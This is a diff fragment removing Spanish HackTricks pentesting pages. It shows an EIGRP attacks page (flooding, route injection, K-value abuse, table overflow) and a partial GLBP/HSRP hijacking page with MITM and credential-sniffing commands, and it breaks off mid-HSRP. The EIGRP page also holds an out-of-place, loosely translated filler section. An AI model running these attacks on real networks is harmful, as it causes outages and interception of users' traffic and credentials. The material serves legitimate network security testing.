Un cliente envía un mensaje Release al servidor que asignó direcciones al cliente para indicar que el cliente ya no utilizará una o más de las direcciones asignadas. DECLINE \(9\)
|
||||
|
||||
Un cliente envía un mensaje Decline a un servidor para indicar que el cliente ha determinado que una o más direcciones asignadas por el servidor ya están en uso en el enlace al que está conectado el cliente. RECONFIGURE \(10\)
|
||||
|
||||
Un servidor envía un mensaje Reconfigure a un cliente para informarle que el servidor tiene parámetros de configuración nuevos o actualizados, y que el cliente debe iniciar una transacción Renew/Reply o Information-request/Reply con el servidor para recibir la información actualizada. INFORMATION-REQUEST \(11\)
|
||||
|
||||
Un cliente envía un mensaje Information-request a un servidor para solicitar parámetros de configuración sin la asignación de ninguna dirección IP al cliente. RELAY-FORW \(12\)
|
||||
|
||||
Un agente de retransmisión envía un mensaje Relay-forward para retransmitir mensajes a servidores, ya sea directamente o a través de otro agente de retransmisión. El mensaje recibido, ya sea un mensaje de cliente o un mensaje Relay-forward de otro agente de retransmisión, se encapsula en una opción en el mensaje Relay-forward. RELAY-REPL \(13\)
|
||||
|
||||
Un servidor envía un mensaje Relay-reply a un agente de retransmisión que contiene un mensaje que el agente de retransmisión entrega a un cliente. El mensaje Relay-reply puede ser retransmitido por otros agentes de retransmisión para su entrega al agente de retransmisión de destino. El servidor encapsula el mensaje del cliente como una opción en el mensaje Relay-reply, que el agente de retransmisión extrae y retransmite al cliente.
|
||||
|
|
@ -1,204 +0,0 @@
|
|||
# Ataques EIGRP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta página fue copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
## Atacando el protocolo EIGRP <a href="#0f82" id="0f82"></a>
|
||||
|
||||
**EIGRP (Protocolo de enrutamiento de puerta de enlace interior mejorado)** es un protocolo de enrutamiento dinámico. **Es un protocolo vector de distancia.** **Si no hay autenticación y configuración de interfaces pasivas, un intruso puede interferir en el enrutamiento EIGRP y causar envenenamiento de tablas de enrutamiento.** **Además, la red EIGRP (en otras palabras, el sistema autónomo) es plana y no tiene segmentación en ninguna zona.** ¿Qué podría significar esto para un atacante? Bueno, si inyecta una ruta, es probable que esta ruta se propague por todo el sistema autónomo EIGRP.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (25) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
En primer lugar, atacar un sistema EIGRP independiente requiere establecer una vecindad con un enrutador EIGRP legítimo, lo que abre muchas posibilidades, desde reconocimiento básico hasta varias inyecciones.
|
||||
|
||||
Para esto usaré [**FRRouting**](https://frrouting.org/). Este es un software de código abierto diseñado para crear un enrutador en Unix y Linux. **FRRouting** te permite implementar **un enrutador virtual que admite BGP, OSPF, EIGRP, RIP y otros protocolos.** Todo lo que necesitas hacer es implementarlo en el sistema del atacante y puedes fingir ser un enrutador legítimo en el dominio de enrutamiento. Te mostraré cómo implementar FRR en tu sistema en la siguiente sección.
|
||||
|
||||
### Inteligencia de red <a href="#41e6" id="41e6"></a>
|
||||
|
||||
**Conectarse al dominio de enrutamiento nos permite hacer enumeración y reconocimiento de redes y no pasar mucho tiempo escaneando.** Este método te ahorra mucho tiempo valioso. **Además, al escanear, puedes ser detectado por sistemas de seguridad IPS/IDS.** Para mí, conectarse al dominio y la enumeración es el vector de ataque en los dominios de enrutamiento que te da el mayor impacto. Pero para hacer esto necesitas implementar **FRRouting**. Aquí vamos.
|
||||
|
||||
**Es necesario editar el archivo de configuración daemons.** Contiene las configuraciones de los demonios en el contexto de su actividad. Ya sea que estén habilitados (sí) o no (no). Necesitamos activar el demonio **eigrpd**.
|
||||
```
|
||||
~# nano /etc/frr/daemons
|
||||
eigrpd=yes
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Después de eso, es necesario corregir el archivo **vtysh.conf** agregando una línea responsable de guardar la configuración en un solo archivo, para que las configuraciones de diferentes protocolos no se dispersen en diferentes archivos **(por ejemplo, eigrpd.conf, staticd.conf).** Esto es configurable opcionalmente.
|
||||
```
|
||||
~# nano /etc/frr/vtysh.conf
|
||||
service integrated-vtysh-config
|
||||
```
|
||||
La configuración de FRRouting está hecha. Ahora es el momento de ejecutar el demonio de FRR. Y sí, necesitamos habilitar el enrutamiento de tráfico. Por defecto, está deshabilitado en las distribuciones de Linux.
|
||||
```
|
||||
~$ sudo systemctl start frr
|
||||
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
El comando **vtysh** nos llevará al panel de control del router FRR.
|
||||
```
|
||||
~$ sudo vtysh
|
||||
```
|
||||
### EIGRP Attacks
|
||||
|
||||
#### EIGRP Protocol
|
||||
|
||||
El Protocolo de Enrutamiento de Gateway Interior Mejorado (EIGRP) es un protocolo de enrutamiento de red propietario de Cisco que se utiliza para enrutar paquetes de datos en una red de área local (LAN) o de área amplia (WAN). EIGRP es un protocolo de enrutamiento avanzado que utiliza una variedad de métricas para determinar la mejor ruta para enviar paquetes de datos a través de una red.
|
||||
|
||||
#### EIGRP Attacks
|
||||
|
||||
EIGRP es vulnerable a varios tipos de ataques, incluyendo ataques de denegación de servicio (DoS), ataques de inyección de paquetes y ataques de envenenamiento de ruta. Estos ataques pueden ser utilizados por un atacante para interrumpir el tráfico de red, interceptar datos confidenciales o redirigir el tráfico a un destino malicioso.
|
||||
|
||||
##### DoS Attacks
|
||||
|
||||
Los ataques de denegación de servicio (DoS) contra EIGRP pueden ser utilizados para interrumpir el tráfico de red y hacer que la red sea inaccesible para los usuarios legítimos. Los atacantes pueden enviar una gran cantidad de paquetes de EIGRP a un router de destino, lo que puede hacer que el router se bloquee o se reinicie.
|
||||
|
||||
##### Packet Injection Attacks
|
||||
|
||||
Los ataques de inyección de paquetes contra EIGRP pueden ser utilizados para interceptar datos confidenciales que se transmiten a través de la red. Los atacantes pueden enviar paquetes de EIGRP falsificados a un router de destino, lo que puede permitirles interceptar y leer los datos que se transmiten a través de la red.
|
||||
|
||||
##### Route Poisoning Attacks
|
||||
|
||||
Los ataques de envenenamiento de ruta contra EIGRP pueden ser utilizados para redirigir el tráfico de red a un destino malicioso. Los atacantes pueden enviar información de enrutamiento falsa a un router de destino, lo que puede hacer que el router redirija el tráfico a un destino malicioso en lugar del destino legítimo.
|
||||
```
|
||||
Inguz# show version
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> **Sin embargo, no olvides que el dominio de enrutamiento EIGRP puede estar protegido por autenticación. Pero aún tienes la oportunidad de conectarte al dominio de enrutamiento. Cuando se envían paquetes hello, también contienen hashes criptográficos. Si puedes extraer estos hashes del volcado de tráfico y restablecer la contraseña, puedes iniciar sesión en el dominio de enrutamiento con esta contraseña.**
|
||||
|
||||
Ve a modo de configuración global y comienza el proceso de **EIGRP**, especifica el número de sistema autónomo - **1**
|
||||
|
||||
Y también necesitamos declarar la red en la que estamos. Estamos en 10.10.100.0/24. Mi dirección es 10.10.100.50/32
|
||||
```
|
||||
Inguz# configInguz(config)# router eigrp 1Inguz(config-router) network 10.10.100.50/32
|
||||
```
|
||||
Después de eso, se establece la vecindad entre los routers EIGRP legítimos. Hay dos de ellos en mi red:
|
||||
|
||||
* **GW1 (10.10.100.100)**
|
||||
* **GW2 (10.10.100.200)**
|
||||
|
||||
Vecindad EIGRP con GW1 (10.10.100.100):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vecindad EIGRP con GW2 (10.10.100.200):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (30) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Durante el establecimiento y mantenimiento de la vecindad entre los routers EIGRP, los routers intercambian su información de enrutamiento. Después de que se establece la vecindad, aparecerán nuevas rutas en nuestra tabla de enrutamiento del sistema atacante, a saber:
|
||||
|
||||
* **10.1.239.0/24 a través de 10.10.100.100;**
|
||||
* **30.30.30.0/24 a través de 10.10.100.100;**
|
||||
* **100.100.100.0/24 a través de 10.10.100.100;**
|
||||
* **172.16.100.0/24 a través de 10.10.100.200**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (29) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Así, después de establecer la vecindad, sabemos sobre la existencia de estas subredes, lo que nos facilita la pentest y nos ahorra tiempo. Podemos prescindir del escaneo adicional de subredes. Ahora estamos en el dominio de enrutamiento EIGRP y podemos desarrollar algunos vectores de ataque. Hablemos de ellos.
|
||||
|
||||
### Vecinos EIGRP falsos <a href="#51ee" id="51ee"></a>
|
||||
|
||||
**He descubierto que generar y enviar rápidamente paquetes de saludo EIGRP masivos sobrecarga la CPU del router, lo que a su vez puede abrir la puerta a un ataque DoS.** He desarrollado un pequeño script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py), pero me parece que el script carece de velocidad para enviar los paquetes. **Esto se debe a GIL**, que impide que la función **sprayhello** se ejecute en múltiples hilos por segundo. **Eventualmente reescribiré el script en C.**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Argumentos del script:
|
||||
|
||||
* **Interfaz del sistema atacante (eth0);**
|
||||
* **Número autónomo de sistema EIGRP (1);**
|
||||
* **Subred donde se encuentra el sistema atacante. En mi caso, la subred es 10.10.100.0/24**
|
||||
```
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (26) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Agujero negro EIGRP <a href="#5c04" id="5c04"></a>
|
||||
|
||||
La esencia de este ataque es la simple inyección de una ruta falsa que envenenará la tabla de enrutamiento. El tráfico hacia, digamos, la red `10.10.100.0/24` no llegará a ninguna parte, causando una denegación de servicio. A este tipo de ataque se le llama agujero negro. La herramienta utilizada para realizarlo será el script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py). Para este ejemplo, enviaré tráfico destinado al host `172.16.100.140/32` al agujero negro.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Argumentos del script:
|
||||
|
||||
* **interfaz del sistema atacante**
|
||||
* **número AS de EIGRP**
|
||||
* **dirección IP del atacante**
|
||||
* **dirección IP de la subred objetivo cuyo tráfico se enviará al agujero negro**
|
||||
* **máscara de subred objetivo**
|
||||
```
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Nuestro host parece estar en problemas :)**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como se puede ver, el host pierde conectividad con el host **172.16.100.140/32** debido a la inyección de ruta.
|
||||
|
||||
### Abusando de los valores K <a href="#25aa" id="25aa"></a>
|
||||
|
||||
Para establecer vecinos EIGRP, **los routers usan valores K especiales.** Estos deben ser iguales entre todos los vecinos EIGRP. Si al menos un valor K no coincide, el dominio EIGRP se bloqueará y la vecindad se romperá. Usaremos [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* para realizar este ataque\*\*.\*\*
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Argumentos del script:
|
||||
|
||||
* **interfaz de red**
|
||||
* **número AS de EIGRP**
|
||||
* **dirección IP del router legítimo**
|
||||
|
||||
**En nombre de la dirección IP especificada se enviará una inyección en la dirección IP multicast de EIGRP, en la que los valores K son diferentes.** En mi caso, romperé la vecindad en nombre del router GW1 **(la dirección es 10.10.100.100)**.
|
||||
```
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption><p>Dump de tráfico durante una interrupción de vecindario</p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (27) (1).png" alt=""><figcaption><p>El router GW1 se desconecta y reconecta infinitamente a EIGRP</p></figcaption></figure>
|
||||
|
||||
**Un ataque DoS puede llevarse a cabo de esta manera. Durante la operación, ocurren interrupciones y intentos de vecindario infinitos, paralizando parte del dominio de enrutamiento EIGRP.**
|
||||
|
||||
### Desbordamiento de tabla de enrutamiento <a href="#1d0c" id="1d0c"></a>
|
||||
|
||||
La esencia de este ataque es provocar el envío de una gran cantidad de rutas falsas, que desbordarán la tabla de enrutamiento. Esto agota los recursos informáticos del router, es decir, la CPU y la RAM, ya que las inyecciones ocurren a una velocidad enorme. Este ataque se implementa con el script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Argumentos del script
|
||||
|
||||
* **interfaz de red**
|
||||
* **número AS de EIGRP**
|
||||
* **dirección IP del atacante**
|
||||
```
|
||||
in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
```
|
||||
Después de ejecutar el script, la tabla de enrutamiento comienza a desbordarse con rutas. Las direcciones aleatorias de las redes objetivo se deben al uso de **RandIP()** en [**Scapy**](https://github.com/secdev/scapy).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (4).png" alt=""><figcaption><p>Tabla de enrutamiento desbordada en el router GW1</p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (21) (1).png" alt=""><figcaption><p>CPU del router sobrecargada</p></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR a los repositorios de** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,219 +0,0 @@
|
|||
# Ataques GLBP y HSRP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta página fue copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
|
||||
|
||||
## Secuestro de FHRP <a href="#6196" id="6196"></a>
|
||||
|
||||
### ¿Qué es FHRP? <a href="#b12d" id="b12d"></a>
|
||||
|
||||
FHRP (Protocolo de redundancia de primer salto) es una clase de protocolos de red diseñados para crear un sistema de enrutamiento redundante en caliente. Con FHRP, los routers físicos se pueden combinar en un solo dispositivo lógico, lo que aumenta la tolerancia a fallos y ayuda a distribuir la carga.
|
||||
|
||||
**Los ingenieros de Cisco Systems han desarrollado dos protocolos FHRP, GLBP y HSRP, que demostraré a continuación.**
|
||||
|
||||
### Protocolo GLBP <a href="#8a26" id="8a26"></a>
|
||||
|
||||
**Desarrollado por ingenieros de Cisco Systems.** Al igual que HSRP, este protocolo se implementa en la parte superior de la pila de protocolos TCP/IP, por lo que se utiliza el protocolo de capa de transporte UDP en el puerto número 3222 para la traducción de la información del servicio. Los routers GLBP dentro del mismo grupo lógico intercambian paquetes especiales "hello" cada 3 segundos, pero si un router GLBP dentro del mismo grupo no ha recibido un paquete hello de su vecino GLBP en 10 segundos, lo reconoce como "muerto". Sin embargo, los valores del temporizador se pueden configurar según las necesidades del administrador.
|
||||
|
||||
### La estructura y mecánica de GLBP <a href="#3bb3" id="3bb3"></a>
|
||||
|
||||
GLBP proporciona el uso compartido de carga a múltiples routers (gateways) utilizando una dirección IP virtual y múltiples direcciones MAC virtuales. Cada host está configurado con la misma dirección IP virtual y todos los routers en el grupo virtual participan en la transmisión de paquetes.
|
||||
|
||||
Funciona de manera muy diferente a los protocolos HSRP y VRRP porque utiliza mecanismos de equilibrio de carga reales, que se denotan a continuación:
|
||||
|
||||
**Dependiente del host.** Un tipo de equilibrio de carga utilizado en una red donde hay NAT. Host-Dependent garantiza el hecho de que el host recibirá la misma dirección MAC del dispositivo AVF que se utilizó en un momento anterior, por lo que el NAT configurado para el host no se romperá.
|
||||
|
||||
**Round-Robin.** En este modo, el dispositivo AVG distribuye direcciones MAC a los miembros AVF alternativamente. Este es el mecanismo utilizado de forma predeterminada.
|
||||
|
||||
**Round-robin basado en peso**. Equilibrio de carga basado en una métrica especial de "peso".
|
||||
|
||||
### Roles en el dominio GLBP y terminología <a href="#febd" id="febd"></a>
|
||||
|
||||
**AVG (Gateway virtual activo)** - el router con el papel principal también es responsable de distribuir direcciones MAC a otros routers dentro del mismo grupo GLBP. Una especie de "jefe" en el dominio GLBP. AVG le dice a los otros routers cómo distribuir el tráfico entregando direcciones MAC cuando llega una solicitud ARP. Vale la pena señalar que solo puede haber un router AVG en un dominio GLBP, pero también puede ser un miembro AVF.
|
||||
|
||||
**AVF (Reenviador virtual activo)** - un router en un grupo GLBP que maneja el tráfico en la red.
|
||||
|
||||
**Prioridad GLBP** - El valor de prioridad que determina qué router en el grupo GLBP será el AVG. El valor predeterminado es 100 (el rango de prioridad puede ser de 1 a 255). Se puede establecer manualmente, es decir, el ingeniero de red determina qué router será el "superior" y cuál será el "esclavo". Cuanto mayor sea la prioridad, es más probable que el router obtenga el papel de AVG. Por lo general, el papel de AVG se otorga a routers más potentes.
|
||||
|
||||
**Peso GLBP** - El valor del llamado Peso GLBP de un router en un grupo GLBP. El peso GLBP define el nivel de carga del router. Este valor es "flotante" y puede variar según la carga en el canal físico (se involucra el mecanismo de seguimiento de objetos), pero también se puede configurar manualmente.
|
||||
|
||||
**Dirección IP virtual GLBP** - la dirección IP virtual en el dominio GLBP. Se utiliza como dirección de puerta de enlace predeterminada para hosts legítimos.
|
||||
|
||||
GLBP utiliza la dirección IP de envío de grupo reservada **224.0.0.102** y el número de puerto del protocolo de capa de transporte UDP **3222** para enviar y procesar información del servicio. Se envían paquetes especiales de GLBP Hello cada **3 segundos**. Si el router GLBP no ha recibido un paquete hello de un vecino dentro de **10 segundos**, se considerará que el vecino está "muerto" y se eliminará del dominio GLBP.
|
||||
|
||||
### Mecanismo de ataque GLBP <a href="#3260" id="3260"></a>
|
||||
|
||||
La técnica de este ataque de red es imponer su dispositivo como el enrutador principal **inyectando un paquete GLBP malicioso con un valor de prioridad máximo.** **La explotación exitosa conduce a un ataque DoS o MITM en el que puede interceptar el tráfico dentro de la red, realizar una redirección o causar un DoS al asumir el papel de enrutador AVG.** Todo lo que tienes que hacer es construir un paquete GLBP con el valor de prioridad más alto de 255 y
|
||||
```
|
||||
~$ sudo ip link set eth0 promisc on
|
||||
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
Selecciona el router con dirección IP **10.10.100.100** y activa la opción **Obtener IP**. También necesitas generar un **ARP Gratuito**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (222).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (161) (2).png" alt=""><figcaption><p>La estructura de una inyección maliciosa de GLBP</p></figcaption></figure>
|
||||
|
||||
Como puedes ver, el router AVG ahora está fingiendo ser un sistema atacante. **El valor de prioridad es 255, el valor de peso es 255, es decir, el máximo.**
|
||||
|
||||
**Después de realizar la inyección, necesitamos crear una dirección IP secundaria en nuestra interfaz de red con el valor de la dirección IP virtual en el dominio GLBP. También necesitas establecer una máscara de 24 bits.**
|
||||
|
||||
**De esta manera, el tráfico legítimo se redirigirá hacia nosotros, porque la dirección IP virtual utilizada en el dominio GLBP es la dirección de la puerta de enlace predeterminada para los hosts:**
|
||||
```
|
||||
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
```
|
||||
Para ver no solo el tráfico entrante sino también el tráfico saliente, necesitamos una pequeña regla para **SNAT (enmascaramiento):**
|
||||
```
|
||||
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
También necesitamos eliminar la ruta predeterminada en nuestra máquina y escribir una nueva que pase a través del antiguo router AVG (la dirección es 10.10.100.100). Aunque hayamos secuestrado el rol AVG del router, aún podrá enrutar el tráfico.
|
||||
```
|
||||
~$ sudo route del default
|
||||
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
¡Listo, ahora somos el "hombre en el medio"! Ejecutaré la herramienta [**net-creds.py**](https://github.com/DanMcInerney/net-creds) para analizar el tráfico y buscar datos importantes. Por ejemplo, tráfico FTP no encriptado o hashes NTLM.
|
||||
```
|
||||
~$ sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
Después de ejecutar la utilidad, intentaré leer el recurso compartido SMB con la dirección IP **172.16.100.70**, que se encuentra detrás de los routers GLBP.
|
||||
```
|
||||
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (243).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Así es como se puede interceptar el tráfico dentro de la red atacando los dominios GLBP.**
|
||||
|
||||
### Secuestro de HSRP <a href="#595f" id="595f"></a>
|
||||
|
||||
**HSRP (Hot Standby Router/Redundancy Protocol) —** es un protocolo propietario de Cisco que permite la redundancia de la puerta de enlace de la red. La idea general es combinar varios routers físicos en un solo router lógico con una dirección IP común. Esta dirección del router virtual se asignará a la interfaz del router con el rol principal, y este último, a su vez, se encargará del reenvío de tráfico. En el dominio HSRP, la tarea de manejar todo el tráfico recae precisamente en el router con el rol principal, a diferencia de GLBP, donde se propuso el equilibrio de carga mediante el uso de métricas especiales (prioridad y peso).
|
||||
|
||||
### Roles en el dominio HSRP y terminología <a href="#4185" id="4185"></a>
|
||||
|
||||
**Router activo de HSRP** — un dispositivo que actúa como un router virtual y proporciona el reenvío de tráfico desde redes de origen a redes de destino.\
|
||||
**Router en espera de HSRP** — un dispositivo que actúa como un router en espera, esperando que falle el router activo. Cuando falla el router activo principal, el router en espera tomará el rol principal y asumirá las funciones del router activo.\
|
||||
**Grupo de HSRP** — un grupo de dispositivos que asegura el funcionamiento y la tolerancia a fallos de un router lógico.\
|
||||
**Dirección MAC de HSRP** — la dirección MAC virtual del router lógico en el dominio HSRP.\
|
||||
**Dirección IP virtual de HSRP** — Esta es una dirección IP virtual especial en el grupo HSRP. Esta dirección IP será la puerta de enlace predeterminada para los hosts finales, utilizada en el propio router lógico.
|
||||
|
||||
### Versiones del protocolo HSRP <a href="#eda3" id="eda3"></a>
|
||||
|
||||
El protocolo HSRP tiene dos versiones: HSRPv1 y HSRPv2. Difieren en los siguientes parámetros:
|
||||
|
||||
* **El número de grupos lógicos posibles.** HSRPv1 puede tener hasta 255 grupos. HSRPv2 puede tener hasta 4096 grupos.
|
||||
* **Dirección IP multicast.** HSRPv1 utiliza la dirección IP **224.0.0.2** para enviar información de servicio, y HSRPv2 utiliza **224.0.0.102**.
|
||||
* **Dirección MAC virtual.** HSRPv1 utiliza **00:00:0C:07:AC:XX** como su dirección MAC virtual. HSRPv2 tiene una dirección MAC virtual de **00:00:0C:9F:FX:XX** (donde XX es el número de grupo HSRP).
|
||||
|
||||
HSRP utiliza la dirección IP reservada **224.0.0.2** o **224.0.0.102** (dependiendo de la versión de HSRP) y el protocolo de capa de transporte UDP con el número de puerto **1985** para difundir y procesar la información de servicio. Se envían paquetes especiales de HSRP Hello **cada 3 segundos**. Si el router HSRP no recibe un paquete hello de un vecino **dentro de los 10 segundos**, el vecino se considerará "muerto" y saldrá del dominio HSRP.
|
||||
|
||||
### Mecanismo de ataque HSRP <a href="#d4a3" id="d4a3"></a>
|
||||
|
||||
**Esto es exactamente lo mismo que el secuestro de GLBP. Necesitamos realizar una inyección maliciosa de HSRP con un valor de prioridad máxima de 255.** Esto nos permite secuestrar el rol del router activo, abriendo la puerta a un ataque **MITM**. Pero nuevamente, necesitamos examinar la siguiente información antes de realizar el ataque:
|
||||
|
||||
* **La dirección IP virtual utilizada en el dominio HSRP**
|
||||
* **La presencia de autenticación**
|
||||
* **Valor de las prioridades del router**
|
||||
|
||||
Podemos extraer esta información analizando el tráfico de HSRP. **Utilicemos Wireshark.**
|
||||
|
||||
Como se puede ver en la captura de pantalla, el proceso de HSRP involucra solo dos routers con direcciones 10.10.100.100 y 10.10.100.200
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (181).png" alt=""><figcaption><p>Anuncios de HSRP</p></figcaption></figure>
